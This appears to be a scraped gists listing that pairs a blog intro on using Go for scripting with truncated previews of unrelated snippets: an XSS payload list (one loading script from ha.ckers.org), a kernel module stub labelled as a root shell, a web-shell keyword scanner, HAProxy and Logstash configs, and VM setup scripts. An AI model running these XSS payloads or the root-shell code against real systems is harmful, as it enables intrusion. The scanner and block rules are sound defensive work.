This is a story about how I tried to use Go for scripting. In this story, I’ll discuss the need for a Go script, how we would expect it to behave and the possible implementations; During the discussion I’ll deep dive to scripts, shells, and shebangs. Finally, we’ll discuss solutions that will make Go scripts work.
While python and bash are popular scripting languages, C, C++ and Java are not used for scripts at all, and some languages are somewhere in between.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "context" | |
| "flag" | |
| "fmt" | |
| "log" | |
| "net/http" | |
| "os" | |
| "os/signal" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| input { | |
| syslog { | |
| type => "haproxy-access" | |
| port => 514 | |
| } | |
| } | |
| filter { | |
| grok { | |
| type => "haproxy-access" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # HAProxy config to block /wp-login.php and wp-admin POST method on wordpress webserver | |
| global | |
| log 127.0.0.1 local0 | |
| log 127.0.0.1 local1 notice | |
| #log loghost local0 info | |
| maxconn 25000 | |
| #debug | |
| #quiet | |
| user prod | |
| group prod |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| - hosts: www_servers | |
| user: ubuntu | |
| sudo: yes | |
| vars: | |
| folder: /usr/share/nginx/html | |
| backdoor_keywords: | |
| - "FilesMan" # OK | |
| - "<?php \\${" # OK | |
| - 'mail(stripslashes(' # OK | |
| - "<?php \\$array = array(" # OK |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <linux/module.h> /* Needed by all modules */ | |
| #include <linux/kernel.h> /* Needed for KERN_INFO */ | |
| #include <linux/init.h> /* Needed for the macros */ | |
| /* For our shell ^_^ */ | |
| #include<linux/kmod.h> | |
| int get_root (void) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| NAME=node0 | |
| cat <<EOF > user-data | |
| #!/bin/bash | |
| echo "fedora:fedora" | chpasswd | |
| yum -y update |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| if ! [ $# -eq 1 ]; then | |
| echo "Usage: $0 <node-name>" | |
| exit 1 | |
| fi | |
| # Make sure you have all dependencies: | |
| # yum -y install libguestfs-tools virt-install |
NewerOlder